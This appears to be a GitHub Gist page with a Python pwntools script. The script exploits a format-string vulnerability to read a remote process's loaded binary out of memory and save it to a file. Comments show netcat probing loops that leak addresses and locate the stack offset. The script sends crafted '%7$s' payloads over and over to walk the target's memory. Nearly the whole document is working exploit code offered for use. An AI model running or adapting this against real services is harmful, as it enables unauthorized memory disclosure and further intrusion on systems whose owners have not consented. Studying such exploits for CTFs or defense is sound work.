Created
March 29, 2020 21:03
-
-
Save arget13/c9925f2f404b633f05df41e6d0285c89 to your computer and use it in GitHub Desktop.
Download the binary loaded in memory from a remote process using a format strings vulnerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# CONFIG # | |
## Basic stuff | |
rhost = "localhost" # Remote host | |
rport = 1234 # Remote port | |
fname = "a.bin" # Output filename | |
## Address where the binary is loaded | |
# $ for i in `seq 1000`; do (echo $i; echo "%"$i"\$p" | nc localhost 1234) | grep -B2 804; done | |
# 19 | |
# [...] | |
# 0x8049253 # Leaked address from the .text section | |
# knowing this, we can deduce that the binary is loaded in 0x8048000 [and .text in 0x08049000] | |
base_addr = 0x8048000 | |
size = 16318 # how many bytes to try to read (default: 16KiB) | |
## Offset in words of our fruit in the stack frame of printf | |
# $ for i in `seq 1000`; do (echo $i; echo "AAAA%"$i"\$p" | nc localhost 1234) | grep 4141 -B1; done | |
# 7 | |
# AAAA0x41414141 | |
# [ctrl-c] | |
# For this case, if we input the program with AAAA%7$p the output'll contain AAAA0x41414141 | |
# ^ This 7 is our offset | |
off = 7 | |
off = bytes(str(off), "utf8") | |
## Messages from the remote program that we want to remove from the received data | |
# Text before the vulnerable printf | |
junklen1 = len("Voy a meter un poco de basura\nmás basura\n...\n") + 5 | |
# Text after the vulnerable printf | |
junklen2 = len("\n...\nOtro poco de basura por aquí\ny otro poco por allá\n") + 2 | |
context.log_level = 'error' | |
# END CONFIG # | |
f = open(fname, "wb") | |
f.write(b'\x7f') # the first byte (which we can't read) we already know it | |
addr = base_addr + 1 | |
stop_addr = base_addr + size | |
print("Trying to read from address " + hex(base_addr) + " to " + hex(stop_addr)) | |
while addr < stop_addr: | |
if addr & 0xff == 0x00: # we can't read this position | |
f.write(b"\x00") # we assume a null byte | |
print(hex(addr) + "\tCan't read, assuming nullbyte") | |
addr += 1 | |
payload = addr.to_bytes(4, "little") + b'%' + off + b'$s' | |
log.info("Payload:\t " + ''.join('{:02x}'.format(c) for c in payload)) | |
r = remote(rhost, rport) | |
r.sendline(payload) | |
r.recv(junklen1) # clean reception buffer, first part, after the leaked data | |
buf = r.recv(1024) | |
buf = buf[:-junklen2] # clean trailing junk | |
print(hex(addr) + "\t" + ''.join('{:02x}'.format(c) for c in (buf + b'\x00'))) | |
f.write(buf + b'\x00') | |
addr += len(buf) + 1 | |
r.close() | |
f.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment